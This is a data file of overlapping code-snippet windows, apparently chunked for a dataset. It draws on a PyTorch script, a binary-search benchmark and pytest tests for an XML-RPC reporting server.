"transforms from torch.utils.data import DataLoader import torch.optim as optim import math import numpy",
"None: m.bias.data.fill_(0) def recon_loss(x_recon, x): n = x.size(0) loss = F.binary_cross_entropy(x_recon, x, size_average=False).div(n)",
"torch.nn.init as init import matplotlib.pyplot as plt import seaborn as sns import warnings"
] |
[
"import numpy import time import matplotlib.pyplot as plt def binary_search(sortedarray, key): left =",
"<= right: mid = math.floor((left + right) / 2) if key == sortedarray[mid]:",
"from quick_sort import quick_sort import numpy import time import matplotlib.pyplot as plt def",
"0 right = len(sortedarray) - 1 while left <= right: mid = math.floor((left",
"import matplotlib.pyplot as plt def binary_search(sortedarray, key): left = 0 right = len(sortedarray)",
"-1 #x = [49, 50, 50, 50, 900] #mykey = 50 #print(binary_search(x, mykey))",
"while left <= right: mid = math.floor((left + right) / 2) if key",
"= len(sortedarray) - 1 while left <= right: mid = math.floor((left + right)",
"right) / 2) if key == sortedarray[mid]: return mid else: if key <",
"left = 0 right = len(sortedarray) - 1 while left <= right: mid",
"mid -1 else: left = mid + 1 return -1 #x = [49,",
"as plt def binary_search(sortedarray, key): left = 0 right = len(sortedarray) - 1",
"matplotlib.pyplot as plt def binary_search(sortedarray, key): left = 0 right = len(sortedarray) -",
"2) if key == sortedarray[mid]: return mid else: if key < sortedarray[mid]: right",
"math from quick_sort import quick_sort import numpy import time import matplotlib.pyplot as plt",
"mid + 1 return -1 #x = [49, 50, 50, 50, 900] #mykey",
"= math.floor((left + right) / 2) if key == sortedarray[mid]: return mid else:",
"key < sortedarray[mid]: right = mid -1 else: left = mid + 1",
"key): left = 0 right = len(sortedarray) - 1 while left <= right:",
"1 return -1 #x = [49, 50, 50, 50, 900] #mykey = 50",
"/ 2) if key == sortedarray[mid]: return mid else: if key < sortedarray[mid]:",
"import time import matplotlib.pyplot as plt def binary_search(sortedarray, key): left = 0 right",
"len(sortedarray) - 1 while left <= right: mid = math.floor((left + right) /",
"if key == sortedarray[mid]: return mid else: if key < sortedarray[mid]: right =",
"mid = math.floor((left + right) / 2) if key == sortedarray[mid]: return mid",
"numpy import time import matplotlib.pyplot as plt def binary_search(sortedarray, key): left = 0",
"+ 1 return -1 #x = [49, 50, 50, 50, 900] #mykey =",
"= 0 right = len(sortedarray) - 1 while left <= right: mid =",
"import math from quick_sort import quick_sort import numpy import time import matplotlib.pyplot as",
"1 while left <= right: mid = math.floor((left + right) / 2) if",
"quick_sort import numpy import time import matplotlib.pyplot as plt def binary_search(sortedarray, key): left",
"right = len(sortedarray) - 1 while left <= right: mid = math.floor((left +",
"sortedarray[mid]: return mid else: if key < sortedarray[mid]: right = mid -1 else:",
"if key < sortedarray[mid]: right = mid -1 else: left = mid +",
"- 1 while left <= right: mid = math.floor((left + right) / 2)",
"left <= right: mid = math.floor((left + right) / 2) if key ==",
"< sortedarray[mid]: right = mid -1 else: left = mid + 1 return",
"key == sortedarray[mid]: return mid else: if key < sortedarray[mid]: right = mid",
"return mid else: if key < sortedarray[mid]: right = mid -1 else: left",
"plt def binary_search(sortedarray, key): left = 0 right = len(sortedarray) - 1 while",
"sortedarray[mid]: right = mid -1 else: left = mid + 1 return -1",
"= mid + 1 return -1 #x = [49, 50, 50, 50, 900]",
"def binary_search(sortedarray, key): left = 0 right = len(sortedarray) - 1 while left",
"= mid -1 else: left = mid + 1 return -1 #x =",
"right: mid = math.floor((left + right) / 2) if key == sortedarray[mid]: return",
"time import matplotlib.pyplot as plt def binary_search(sortedarray, key): left = 0 right =",
"import quick_sort import numpy import time import matplotlib.pyplot as plt def binary_search(sortedarray, key):",
"math.floor((left + right) / 2) if key == sortedarray[mid]: return mid else: if",
"left = mid + 1 return -1 #x = [49, 50, 50, 50,",
"return -1 #x = [49, 50, 50, 50, 900] #mykey = 50 #print(binary_search(x,",
"else: left = mid + 1 return -1 #x = [49, 50, 50,",
"binary_search(sortedarray, key): left = 0 right = len(sortedarray) - 1 while left <=",
"else: if key < sortedarray[mid]: right = mid -1 else: left = mid",
"== sortedarray[mid]: return mid else: if key < sortedarray[mid]: right = mid -1",
"quick_sort import quick_sort import numpy import time import matplotlib.pyplot as plt def binary_search(sortedarray,",
"-1 else: left = mid + 1 return -1 #x = [49, 50,",
"right = mid -1 else: left = mid + 1 return -1 #x",
"mid else: if key < sortedarray[mid]: right = mid -1 else: left =",
"+ right) / 2) if key == sortedarray[mid]: return mid else: if key"
] |
[
"KIND, either express or implied. # See the License for the specific language",
"Unless required by applicable law or agreed to in writing, software # distributed",
"assert reporting_server_with_config.xmlrpc_queuelen() == 0 def test_cmdproc(reporting_server_with_config): \"\"\"Verify that operation with cmdproc is work.",
"reporting_server(): opts = {'loglevel': 'DEBUG', 'logprefix': 'main', 'port': '18081', 'logdir': 'logs', 'multiuser': True}",
"['Simple brief of test case', '-# First step\\n-# Second step'], {'platform': 'SomeSwitch', 'build':",
"import pytest sys.path.append(os.path.abspath(os.path.join(os.path.dirname(__file__), '../reporting'))) from reporting.reporting_server import XMLReportingServer, imp_plugins xmlrpcsrv = XMLReportingServer() @pytest.fixture(scope=\"function\",",
"\"\"\"Verify that operation with cmdproc is work. \"\"\" reporting_server_with_config.xmlrpc_cmdprocdisable() assert reporting_server_with_config.xmlrpc_cmdproccheck() == \"Watchdog",
"License. \"\"\"``test_reporting_server.py`` `Unittests for reporting server functions` \"\"\" import sys import os import",
"from reporting.reporting_server import XMLReportingServer, imp_plugins xmlrpcsrv = XMLReportingServer() @pytest.fixture(scope=\"function\", autouse=True) def reporting_server(): opts",
"XMLReportingServer, imp_plugins xmlrpcsrv = XMLReportingServer() @pytest.fixture(scope=\"function\", autouse=True) def reporting_server(): opts = {'loglevel': 'DEBUG',",
"# Copyright (c) 2011 - 2017, Intel Corporation. # # Licensed under the",
"Second step'], {'platform': 'SomeSwitch', 'build': '1.2.3.4-SomeSwitch'}, \"None\"] # Check if queue is empty",
"== {\"xml\": True} reporting_server.xmlrpc_reportconfig(\"test_client-1\", \"xml\", \"htmlfile\", \"1.html\") # check attr on report object",
"step\\n-# Second step'], 'suite': 'test.test_suite', 'tc': 'test_tcname', 'build_info': 'None'}] post_data1 = [\"test_client-1\", \"SomeSwitch\",",
"xmlrpcsrv @pytest.fixture(scope=\"function\", autouse=True) def reporting_server_with_config(reporting_server): reporting_server.xmlrpc_open(\"test_client-1\") reporting_server.xmlrpc_reportadd(\"test_client-1\", \"xml\") reporting_server.xmlrpc_reportconfig(\"test_client-1\", \"xml\", \"options\", [['update', None]])",
"\"SomeSwitch\", \"test.test_suite\", \"test_tcname\", \"Run\", ['Simple brief of test case', '-# First step\\n-# Second",
"doesn't work.\" reporting_server_with_config.xmlrpc_cmdprocenable() assert reporting_server_with_config.xmlrpc_cmdproccheck() == \"Watchdog is True and cmdproc is True\",",
"operation with queue is working. \"\"\" expected_queuelist = [{'status': 'Run', 'info': {'platform': 'SomeSwitch',",
"assert reporting_server_with_config.xmlrpc_queuelen() == 1, \"Queuelen is not right\" # Call queuedropcmd and check",
"this file except in compliance with the License. # You may obtain a",
"\"test_tcname\", \"Run\", ['Simple brief of test case', '-# First step\\n-# Second step'], {'platform':",
"First step\\n-# Second step'], {'platform': 'SomeSwitch', 'build': '1.2.3.4-SomeSwitch'}, \"None\"] # Check if queue",
"add xml report reporting_server.xmlrpc_reportadd(\"test_client-1\", \"xml\") assert reporting_server.clients.get(\"test_client-1\", \"reports\") == {\"xml\": True} reporting_server.xmlrpc_reportconfig(\"test_client-1\", \"xml\",",
"'main' self.logdir = 'logs' self.loglevel = 'DEBUG' opts = CustomOptsParser() xmlrpcsrv = XMLReportingServer()",
"'Run', 'info': {'platform': 'SomeSwitch', 'build': '1.2.3.4-SomeSwitch'}, 'client': 'test_client-1', 'build': 'SomeSwitch', 'report': ['Simple brief",
"request reporting_server_with_config.xmlrpc_post(*post_data1) # Get queue list assert reporting_server_with_config.xmlrpc_queuelist() == expected_queuelist # Check if",
"First step\\n-# Second step'], 'suite': 'test.test_suite', 'tc': 'test_tcname', 'build_info': 'None'}] post_data1 = [\"test_client-1\",",
"post successful assert reporting_server_with_config.xmlrpc_post(*post_data1), \"xmlrpc_post operation is False\" # Check if queuelen works",
"reporting_server.clients.get(\"test_client-1\", \"status\") == \"Active\" # add xml report reporting_server.xmlrpc_reportadd(\"test_client-1\", \"xml\") assert reporting_server.clients.get(\"test_client-1\", \"reports\")",
"ANY KIND, either express or implied. # See the License for the specific",
"report reporting_server.xmlrpc_reportadd(\"test_client-1\", \"xml\") assert reporting_server.clients.get(\"test_client-1\", \"reports\") == {\"xml\": True} reporting_server.xmlrpc_reportconfig(\"test_client-1\", \"xml\", \"htmlfile\", \"1.html\")",
"that operation with cmdproc is work. \"\"\" reporting_server_with_config.xmlrpc_cmdprocdisable() assert reporting_server_with_config.xmlrpc_cmdproccheck() == \"Watchdog is",
"test_queue(reporting_server_with_config): \"\"\"Verify that operation with queue is working. \"\"\" expected_queuelist = [{'status': 'Run',",
"import os import pytest sys.path.append(os.path.abspath(os.path.join(os.path.dirname(__file__), '../reporting'))) from reporting.reporting_server import XMLReportingServer, imp_plugins xmlrpcsrv =",
"== [], \"Queuelen is not empty\" # Send post request reporting_server_with_config.xmlrpc_post(*post_data1) # Get",
"is not empty\" # Send post request reporting_server_with_config.xmlrpc_post(*post_data1) # Get queue list assert",
"test_post(reporting_server_with_config): \"\"\"Verify that post command is True. \"\"\" post_data1 = [\"test_client-1\", \"SomeSwitch\", \"test.test_suite\",",
"is 1 assert reporting_server_with_config.xmlrpc_queuelen() == 1, \"Queuelen is not right\" # Call queuedropcmd",
"False\" # Check if queuelen works def test_queue(reporting_server_with_config): \"\"\"Verify that operation with queue",
"'build': 'SomeSwitch', 'report': ['Simple brief of test case', '-# First step\\n-# Second step'],",
"Second step'], {'platform': 'SomeSwitch', 'build': '192.168.127.12-SomeSwitch'}, \"None\"] # Check if post successful assert",
"\"xml\", \"htmlfile\", \"1.html\") # check attr on report object assert reporting_server._reports['XML']['test_client-1'].htmlfile == \"1.html\"",
"WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See",
"for reporting server functions` \"\"\" import sys import os import pytest sys.path.append(os.path.abspath(os.path.join(os.path.dirname(__file__), '../reporting')))",
"'SomeSwitch']) reporting_server.xmlrpc_reportconfig(\"test_client-1\", \"xml\", \"info_dict\", ['TM buildname', '192.168.127.12-SomeSwitch']) reporting_server.xmlrpc_reportconfig(\"test_client-1\", \"xml\", \"htmlfile\", \"1.html\") reporting_server.xmlrpc_reportconfig(\"test_client-1\", \"xml\",",
"'SomeSwitch', 'build': '1.2.3.4-SomeSwitch'}, \"None\"] # Check if queue is empty assert reporting_server_with_config.xmlrpc_queuelist() ==",
"IS\" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or",
"# check attr on report object assert reporting_server._reports['XML']['test_client-1'].htmlfile == \"1.html\" reporting_server.xmlrpc_shutdown() def test_post(reporting_server_with_config):",
"governing permissions and # limitations under the License. \"\"\"``test_reporting_server.py`` `Unittests for reporting server",
"of test case', '-# First step\\n-# Second step'], {'platform': 'SomeSwitch', 'build': '1.2.3.4-SomeSwitch'}, \"None\"]",
"reporting_server.xmlrpc_shutdown() def test_post(reporting_server_with_config): \"\"\"Verify that post command is True. \"\"\" post_data1 = [\"test_client-1\",",
"'port': '18081', 'logdir': 'logs', 'multiuser': True} class CustomOptsParser(object): def __init__(self): self.multiuser = True",
"OF ANY KIND, either express or implied. # See the License for the",
"'logprefix': 'main', 'port': '18081', 'logdir': 'logs', 'multiuser': True} class CustomOptsParser(object): def __init__(self): self.multiuser",
"reporting_server_with_config.xmlrpc_cmdprocenable() assert reporting_server_with_config.xmlrpc_cmdproccheck() == \"Watchdog is True and cmdproc is True\", \"Watchdog is",
"reporting_server.clients.get(\"test_client-1\", \"reports\") == {\"xml\": True} reporting_server.xmlrpc_reportconfig(\"test_client-1\", \"xml\", \"htmlfile\", \"1.html\") # check attr on",
"created and reports can be removed. \"\"\" reporting_server.xmlrpc_open(\"test_client-1\") # check if status of",
"imp_plugins xmlrpcsrv = XMLReportingServer() @pytest.fixture(scope=\"function\", autouse=True) def reporting_server(): opts = {'loglevel': 'DEBUG', 'logprefix':",
"is False. cmdprocdisable doesn't work.\" reporting_server_with_config.xmlrpc_cmdprocenable() assert reporting_server_with_config.xmlrpc_cmdproccheck() == \"Watchdog is True and",
"\"status\") == \"Active\" # add xml report reporting_server.xmlrpc_reportadd(\"test_client-1\", \"xml\") assert reporting_server.clients.get(\"test_client-1\", \"reports\") ==",
"reporting_server_with_config.xmlrpc_queuelen() == 0 def test_cmdproc(reporting_server_with_config): \"\"\"Verify that operation with cmdproc is work. \"\"\"",
"'./'))) imp_plugins(\"reports\") imp_plugins(\"connectors\") return xmlrpcsrv @pytest.fixture(scope=\"function\", autouse=True) def reporting_server_with_config(reporting_server): reporting_server.xmlrpc_open(\"test_client-1\") reporting_server.xmlrpc_reportadd(\"test_client-1\", \"xml\") reporting_server.xmlrpc_reportconfig(\"test_client-1\",",
"report object assert reporting_server._reports['XML']['test_client-1'].htmlfile == \"1.html\" reporting_server.xmlrpc_shutdown() def test_post(reporting_server_with_config): \"\"\"Verify that post command",
"\"Watchdog is False and cmdproc is True\", \"Watchdog is False. cmdprocdisable doesn't work.\"",
"list assert reporting_server_with_config.xmlrpc_queuelist() == expected_queuelist # Check if queuelen is 1 assert reporting_server_with_config.xmlrpc_queuelen()",
"== \"1.html\" reporting_server.xmlrpc_shutdown() def test_post(reporting_server_with_config): \"\"\"Verify that post command is True. \"\"\" post_data1",
"is not right\" # Call queuedropcmd and check queuelen assert reporting_server_with_config.xmlrpc_queuedropcmd(0) == expected_queuelist[0]",
"and check queuelen assert reporting_server_with_config.xmlrpc_queuedropcmd(0) == expected_queuelist[0] assert reporting_server_with_config.xmlrpc_queuelen() == 0 def test_cmdproc(reporting_server_with_config):",
"operation with cmdproc is work. \"\"\" reporting_server_with_config.xmlrpc_cmdprocdisable() assert reporting_server_with_config.xmlrpc_cmdproccheck() == \"Watchdog is False",
"of test case', '-# First step\\n-# Second step'], 'suite': 'test.test_suite', 'tc': 'test_tcname', 'build_info':",
"\"\"\" post_data1 = [\"test_client-1\", \"SomeSwitch\", \"test.test_suite\", \"test_tcname\", \"Run\", ['Simple brief of test case',",
"= 'DEBUG' opts = CustomOptsParser() xmlrpcsrv = XMLReportingServer() xmlrpcsrv.setup(opts) sys.path.append(os.path.abspath(os.path.join(os.path.dirname(__file__), \"../plugins/\", './'))) imp_plugins(\"reports\")",
"not empty\" # Send post request reporting_server_with_config.xmlrpc_post(*post_data1) # Get queue list assert reporting_server_with_config.xmlrpc_queuelist()",
"\"\"\"Verify that operation with queue is working. \"\"\" expected_queuelist = [{'status': 'Run', 'info':",
"self.multiuser = True self.port = '18081' self.logprefix = 'main' self.logdir = 'logs' self.loglevel",
"# Check if post successful assert reporting_server_with_config.xmlrpc_post(*post_data1), \"xmlrpc_post operation is False\" # Check",
"software # distributed under the License is distributed on an \"AS IS\" BASIS,",
"\"options\", [['update', None]]) reporting_server.xmlrpc_reportconfig(\"test_client-1\", \"xml\", \"cfgfile\", None) reporting_server.xmlrpc_reportconfig(\"test_client-1\", \"xml\", \"info_dict\", None) reporting_server.xmlrpc_reportconfig(\"test_client-1\", \"xml\",",
"case', '-# First step\\n-# Second step'], {'platform': 'SomeSwitch', 'build': '1.2.3.4-SomeSwitch'}, \"None\"] # Check",
"xmlrpcsrv.setup(opts) sys.path.append(os.path.abspath(os.path.join(os.path.dirname(__file__), \"../plugins/\", './'))) imp_plugins(\"reports\") imp_plugins(\"connectors\") return xmlrpcsrv @pytest.fixture(scope=\"function\", autouse=True) def reporting_server_with_config(reporting_server): reporting_server.xmlrpc_open(\"test_client-1\")",
"reporting_server.xmlrpc_reportconfig(\"test_client-1\", \"xml\", \"cfgfile\", None) reporting_server.xmlrpc_reportconfig(\"test_client-1\", \"xml\", \"info_dict\", None) reporting_server.xmlrpc_reportconfig(\"test_client-1\", \"xml\", \"info_dict\", ['chipName', 'SomeSwitch'])",
"= [\"test_client-1\", \"SomeSwitch\", \"test.test_suite\", \"test_tcname\", \"Run\", ['Simple brief of test case', '-# First",
"Second step'], 'suite': 'test.test_suite', 'tc': 'test_tcname', 'build_info': 'None'}] post_data1 = [\"test_client-1\", \"SomeSwitch\", \"test.test_suite\",",
"command is True. \"\"\" post_data1 = [\"test_client-1\", \"SomeSwitch\", \"test.test_suite\", \"test_tcname\", \"Run\", ['Simple brief",
"# # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to",
"\"htmlfile\", \"1.html\") reporting_server.xmlrpc_reportconfig(\"test_client-1\", \"xml\", \"htmlcfg\", None) return reporting_server def test_client_config(reporting_server): \"\"\"Verify that client",
"the License. \"\"\"``test_reporting_server.py`` `Unittests for reporting server functions` \"\"\" import sys import os",
"\"../plugins/\", './'))) imp_plugins(\"reports\") imp_plugins(\"connectors\") return xmlrpcsrv @pytest.fixture(scope=\"function\", autouse=True) def reporting_server_with_config(reporting_server): reporting_server.xmlrpc_open(\"test_client-1\") reporting_server.xmlrpc_reportadd(\"test_client-1\", \"xml\")",
"'1.2.3.4-SomeSwitch'}, \"None\"] # Check if queue is empty assert reporting_server_with_config.xmlrpc_queuelist() == [], \"Queuelen",
"class CustomOptsParser(object): def __init__(self): self.multiuser = True self.port = '18081' self.logprefix = 'main'",
"permissions and # limitations under the License. \"\"\"``test_reporting_server.py`` `Unittests for reporting server functions`",
"['chipName', 'SomeSwitch']) reporting_server.xmlrpc_reportconfig(\"test_client-1\", \"xml\", \"info_dict\", ['TM buildname', '192.168.127.12-SomeSwitch']) reporting_server.xmlrpc_reportconfig(\"test_client-1\", \"xml\", \"htmlfile\", \"1.html\") reporting_server.xmlrpc_reportconfig(\"test_client-1\",",
"removed. \"\"\" reporting_server.xmlrpc_open(\"test_client-1\") # check if status of client is Active assert reporting_server.clients.get(\"test_client-1\",",
"'logs', 'multiuser': True} class CustomOptsParser(object): def __init__(self): self.multiuser = True self.port = '18081'",
"under the License is distributed on an \"AS IS\" BASIS, # WITHOUT WARRANTIES",
"{'platform': 'SomeSwitch', 'build': '1.2.3.4-SomeSwitch'}, \"None\"] # Check if queue is empty assert reporting_server_with_config.xmlrpc_queuelist()",
"the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law",
"\"xml\") reporting_server.xmlrpc_reportconfig(\"test_client-1\", \"xml\", \"options\", [['update', None]]) reporting_server.xmlrpc_reportconfig(\"test_client-1\", \"xml\", \"cfgfile\", None) reporting_server.xmlrpc_reportconfig(\"test_client-1\", \"xml\", \"info_dict\",",
"\"AS IS\" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express",
"'test_tcname', 'build_info': 'None'}] post_data1 = [\"test_client-1\", \"SomeSwitch\", \"test.test_suite\", \"test_tcname\", \"Run\", ['Simple brief of",
"server functions` \"\"\" import sys import os import pytest sys.path.append(os.path.abspath(os.path.join(os.path.dirname(__file__), '../reporting'))) from reporting.reporting_server",
"'SomeSwitch', 'build': '1.2.3.4-SomeSwitch'}, 'client': 'test_client-1', 'build': 'SomeSwitch', 'report': ['Simple brief of test case',",
"reporting_server.xmlrpc_open(\"test_client-1\") # check if status of client is Active assert reporting_server.clients.get(\"test_client-1\", \"status\") ==",
"cmdproc is True\", \"Watchdog is False. cmdprocdisable doesn't work.\" reporting_server_with_config.xmlrpc_cmdprocenable() assert reporting_server_with_config.xmlrpc_cmdproccheck() ==",
"= CustomOptsParser() xmlrpcsrv = XMLReportingServer() xmlrpcsrv.setup(opts) sys.path.append(os.path.abspath(os.path.join(os.path.dirname(__file__), \"../plugins/\", './'))) imp_plugins(\"reports\") imp_plugins(\"connectors\") return xmlrpcsrv",
"assert reporting_server.clients.get(\"test_client-1\", \"reports\") == {\"xml\": True} reporting_server.xmlrpc_reportconfig(\"test_client-1\", \"xml\", \"htmlfile\", \"1.html\") # check attr",
"'18081' self.logprefix = 'main' self.logdir = 'logs' self.loglevel = 'DEBUG' opts = CustomOptsParser()",
"\"Run\", ['Simple brief of test case', '-# First step\\n-# Second step'], {'platform': 'SomeSwitch',",
"@pytest.fixture(scope=\"function\", autouse=True) def reporting_server_with_config(reporting_server): reporting_server.xmlrpc_open(\"test_client-1\") reporting_server.xmlrpc_reportadd(\"test_client-1\", \"xml\") reporting_server.xmlrpc_reportconfig(\"test_client-1\", \"xml\", \"options\", [['update', None]]) reporting_server.xmlrpc_reportconfig(\"test_client-1\",",
"required by applicable law or agreed to in writing, software # distributed under",
"autouse=True) def reporting_server_with_config(reporting_server): reporting_server.xmlrpc_open(\"test_client-1\") reporting_server.xmlrpc_reportadd(\"test_client-1\", \"xml\") reporting_server.xmlrpc_reportconfig(\"test_client-1\", \"xml\", \"options\", [['update', None]]) reporting_server.xmlrpc_reportconfig(\"test_client-1\", \"xml\",",
"assert reporting_server_with_config.xmlrpc_post(*post_data1), \"xmlrpc_post operation is False\" # Check if queuelen works def test_queue(reporting_server_with_config):",
"applicable law or agreed to in writing, software # distributed under the License",
"\"info_dict\", ['chipName', 'SomeSwitch']) reporting_server.xmlrpc_reportconfig(\"test_client-1\", \"xml\", \"info_dict\", ['TM buildname', '192.168.127.12-SomeSwitch']) reporting_server.xmlrpc_reportconfig(\"test_client-1\", \"xml\", \"htmlfile\", \"1.html\")",
"= {'loglevel': 'DEBUG', 'logprefix': 'main', 'port': '18081', 'logdir': 'logs', 'multiuser': True} class CustomOptsParser(object):",
"for the specific language governing permissions and # limitations under the License. \"\"\"``test_reporting_server.py``",
"\"1.html\" reporting_server.xmlrpc_shutdown() def test_post(reporting_server_with_config): \"\"\"Verify that post command is True. \"\"\" post_data1 =",
"or agreed to in writing, software # distributed under the License is distributed",
"reporting_server._reports['XML']['test_client-1'].htmlfile == \"1.html\" reporting_server.xmlrpc_shutdown() def test_post(reporting_server_with_config): \"\"\"Verify that post command is True. \"\"\"",
"CONDITIONS OF ANY KIND, either express or implied. # See the License for",
"None]]) reporting_server.xmlrpc_reportconfig(\"test_client-1\", \"xml\", \"cfgfile\", None) reporting_server.xmlrpc_reportconfig(\"test_client-1\", \"xml\", \"info_dict\", None) reporting_server.xmlrpc_reportconfig(\"test_client-1\", \"xml\", \"info_dict\", ['chipName',",
"is work. \"\"\" reporting_server_with_config.xmlrpc_cmdprocdisable() assert reporting_server_with_config.xmlrpc_cmdproccheck() == \"Watchdog is False and cmdproc is",
"sys.path.append(os.path.abspath(os.path.join(os.path.dirname(__file__), \"../plugins/\", './'))) imp_plugins(\"reports\") imp_plugins(\"connectors\") return xmlrpcsrv @pytest.fixture(scope=\"function\", autouse=True) def reporting_server_with_config(reporting_server): reporting_server.xmlrpc_open(\"test_client-1\") reporting_server.xmlrpc_reportadd(\"test_client-1\",",
"'None'}] post_data1 = [\"test_client-1\", \"SomeSwitch\", \"test.test_suite\", \"test_tcname\", \"Run\", ['Simple brief of test case',",
"if status of client is Active assert reporting_server.clients.get(\"test_client-1\", \"status\") == \"Active\" # add",
"\"xml\", \"options\", [['update', None]]) reporting_server.xmlrpc_reportconfig(\"test_client-1\", \"xml\", \"cfgfile\", None) reporting_server.xmlrpc_reportconfig(\"test_client-1\", \"xml\", \"info_dict\", None) reporting_server.xmlrpc_reportconfig(\"test_client-1\",",
"under the Apache License, Version 2.0 (the \"License\"); # you may not use",
"xmlrpcsrv = XMLReportingServer() @pytest.fixture(scope=\"function\", autouse=True) def reporting_server(): opts = {'loglevel': 'DEBUG', 'logprefix': 'main',",
"# check if status of client is Active assert reporting_server.clients.get(\"test_client-1\", \"status\") == \"Active\"",
"writing, software # distributed under the License is distributed on an \"AS IS\"",
"sys import os import pytest sys.path.append(os.path.abspath(os.path.join(os.path.dirname(__file__), '../reporting'))) from reporting.reporting_server import XMLReportingServer, imp_plugins xmlrpcsrv",
"check if status of client is Active assert reporting_server.clients.get(\"test_client-1\", \"status\") == \"Active\" #",
"You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 #",
"True} class CustomOptsParser(object): def __init__(self): self.multiuser = True self.port = '18081' self.logprefix =",
"License. # You may obtain a copy of the License at # #",
"reporting.reporting_server import XMLReportingServer, imp_plugins xmlrpcsrv = XMLReportingServer() @pytest.fixture(scope=\"function\", autouse=True) def reporting_server(): opts =",
"case', '-# First step\\n-# Second step'], 'suite': 'test.test_suite', 'tc': 'test_tcname', 'build_info': 'None'}] post_data1",
"Check if queuelen is 1 assert reporting_server_with_config.xmlrpc_queuelen() == 1, \"Queuelen is not right\"",
"= 'main' self.logdir = 'logs' self.loglevel = 'DEBUG' opts = CustomOptsParser() xmlrpcsrv =",
"compliance with the License. # You may obtain a copy of the License",
"['Simple brief of test case', '-# First step\\n-# Second step'], 'suite': 'test.test_suite', 'tc':",
"\"info_dict\", None) reporting_server.xmlrpc_reportconfig(\"test_client-1\", \"xml\", \"info_dict\", ['chipName', 'SomeSwitch']) reporting_server.xmlrpc_reportconfig(\"test_client-1\", \"xml\", \"info_dict\", ['TM buildname', '192.168.127.12-SomeSwitch'])",
"{\"xml\": True} reporting_server.xmlrpc_reportconfig(\"test_client-1\", \"xml\", \"htmlfile\", \"1.html\") # check attr on report object assert",
"check queuelen assert reporting_server_with_config.xmlrpc_queuedropcmd(0) == expected_queuelist[0] assert reporting_server_with_config.xmlrpc_queuelen() == 0 def test_cmdproc(reporting_server_with_config): \"\"\"Verify",
"assert reporting_server_with_config.xmlrpc_queuelist() == expected_queuelist # Check if queuelen is 1 assert reporting_server_with_config.xmlrpc_queuelen() ==",
"def test_post(reporting_server_with_config): \"\"\"Verify that post command is True. \"\"\" post_data1 = [\"test_client-1\", \"SomeSwitch\",",
"XMLReportingServer() @pytest.fixture(scope=\"function\", autouse=True) def reporting_server(): opts = {'loglevel': 'DEBUG', 'logprefix': 'main', 'port': '18081',",
"of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable",
"if queuelen is 1 assert reporting_server_with_config.xmlrpc_queuelen() == 1, \"Queuelen is not right\" #",
"step\\n-# Second step'], {'platform': 'SomeSwitch', 'build': '1.2.3.4-SomeSwitch'}, \"None\"] # Check if queue is",
"None) reporting_server.xmlrpc_reportconfig(\"test_client-1\", \"xml\", \"info_dict\", ['chipName', 'SomeSwitch']) reporting_server.xmlrpc_reportconfig(\"test_client-1\", \"xml\", \"info_dict\", ['TM buildname', '192.168.127.12-SomeSwitch']) reporting_server.xmlrpc_reportconfig(\"test_client-1\",",
"and # limitations under the License. \"\"\"``test_reporting_server.py`` `Unittests for reporting server functions` \"\"\"",
"is working. \"\"\" expected_queuelist = [{'status': 'Run', 'info': {'platform': 'SomeSwitch', 'build': '1.2.3.4-SomeSwitch'}, 'client':",
"is True\", \"Watchdog is False. cmdprocdisable doesn't work.\" reporting_server_with_config.xmlrpc_cmdprocenable() assert reporting_server_with_config.xmlrpc_cmdproccheck() == \"Watchdog",
"sys.path.append(os.path.abspath(os.path.join(os.path.dirname(__file__), '../reporting'))) from reporting.reporting_server import XMLReportingServer, imp_plugins xmlrpcsrv = XMLReportingServer() @pytest.fixture(scope=\"function\", autouse=True) def",
"__init__(self): self.multiuser = True self.port = '18081' self.logprefix = 'main' self.logdir = 'logs'",
"None) return reporting_server def test_client_config(reporting_server): \"\"\"Verify that client config can be created and",
"\"xml\", \"cfgfile\", None) reporting_server.xmlrpc_reportconfig(\"test_client-1\", \"xml\", \"info_dict\", None) reporting_server.xmlrpc_reportconfig(\"test_client-1\", \"xml\", \"info_dict\", ['chipName', 'SomeSwitch']) reporting_server.xmlrpc_reportconfig(\"test_client-1\",",
"under the License. \"\"\"``test_reporting_server.py`` `Unittests for reporting server functions` \"\"\" import sys import",
"'../reporting'))) from reporting.reporting_server import XMLReportingServer, imp_plugins xmlrpcsrv = XMLReportingServer() @pytest.fixture(scope=\"function\", autouse=True) def reporting_server():",
"not use this file except in compliance with the License. # You may",
"[], \"Queuelen is not empty\" # Send post request reporting_server_with_config.xmlrpc_post(*post_data1) # Get queue",
"queue list assert reporting_server_with_config.xmlrpc_queuelist() == expected_queuelist # Check if queuelen is 1 assert",
"queuedropcmd and check queuelen assert reporting_server_with_config.xmlrpc_queuedropcmd(0) == expected_queuelist[0] assert reporting_server_with_config.xmlrpc_queuelen() == 0 def",
"\"xml\", \"htmlfile\", \"1.html\") reporting_server.xmlrpc_reportconfig(\"test_client-1\", \"xml\", \"htmlcfg\", None) return reporting_server def test_client_config(reporting_server): \"\"\"Verify that",
"(c) 2011 - 2017, Intel Corporation. # # Licensed under the Apache License,",
"License, Version 2.0 (the \"License\"); # you may not use this file except",
"\"xml\", \"htmlcfg\", None) return reporting_server def test_client_config(reporting_server): \"\"\"Verify that client config can be",
"= XMLReportingServer() @pytest.fixture(scope=\"function\", autouse=True) def reporting_server(): opts = {'loglevel': 'DEBUG', 'logprefix': 'main', 'port':",
"distributed on an \"AS IS\" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY",
"None) reporting_server.xmlrpc_reportconfig(\"test_client-1\", \"xml\", \"info_dict\", None) reporting_server.xmlrpc_reportconfig(\"test_client-1\", \"xml\", \"info_dict\", ['chipName', 'SomeSwitch']) reporting_server.xmlrpc_reportconfig(\"test_client-1\", \"xml\", \"info_dict\",",
"test case', '-# First step\\n-# Second step'], 'suite': 'test.test_suite', 'tc': 'test_tcname', 'build_info': 'None'}]",
"assert reporting_server._reports['XML']['test_client-1'].htmlfile == \"1.html\" reporting_server.xmlrpc_shutdown() def test_post(reporting_server_with_config): \"\"\"Verify that post command is True.",
"\"1.html\") # check attr on report object assert reporting_server._reports['XML']['test_client-1'].htmlfile == \"1.html\" reporting_server.xmlrpc_shutdown() def",
